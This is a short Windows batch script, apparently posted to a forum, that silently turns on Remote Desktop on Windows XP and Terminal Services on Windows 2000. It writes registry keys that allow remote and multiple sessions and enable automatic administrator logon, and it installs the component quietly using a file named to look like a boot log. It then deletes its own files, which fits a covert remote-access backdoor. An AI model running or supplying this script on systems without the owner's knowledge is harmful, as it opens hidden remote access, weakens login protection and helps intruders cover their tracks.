this enables remotedesktop in windows xp port 3389 ( and terminal services in win 2k server) ,not tested on 2k3
@echo off
echo Windows Registry Editor Version 5.00> c:\TS2.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService]>> c:\TS2.reg
echo "Start"=dword:00000002>> c:\TS2.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]>> c:\TS2.reg
echo "AllowTSConnections"=dword:00000001>> c:\TS2.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]>> c:\TS2.reg
echo "fDenyTSConnections"=dword:00000000>> c:\TS2.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]>> c:\TS2.reg
echo "fAllowToGetHelp"=dword:00000001>> c:\TS2.reg
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]>> c:\TS2.reg
echo "AllowMultipleTSSessions"=dword:00000001>> c:\TS2.reg
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]>> c:\TS2.reg
echo "AutoAdminLogon"="1">> c:\TS2.reg
%windir%\regedit.exe /S c:\TS2.reg
echo [Components] > c:\bootlog~.txt
echo TSEnabled = on >> c:\bootlog~.txt
sysocmgr /i:%windir%\inf\sysoc.inf /u:c:\bootlog~.txt /q
DEL /Q c:\TS2.REG
DEL /Q c:\bootlog~.txt
exit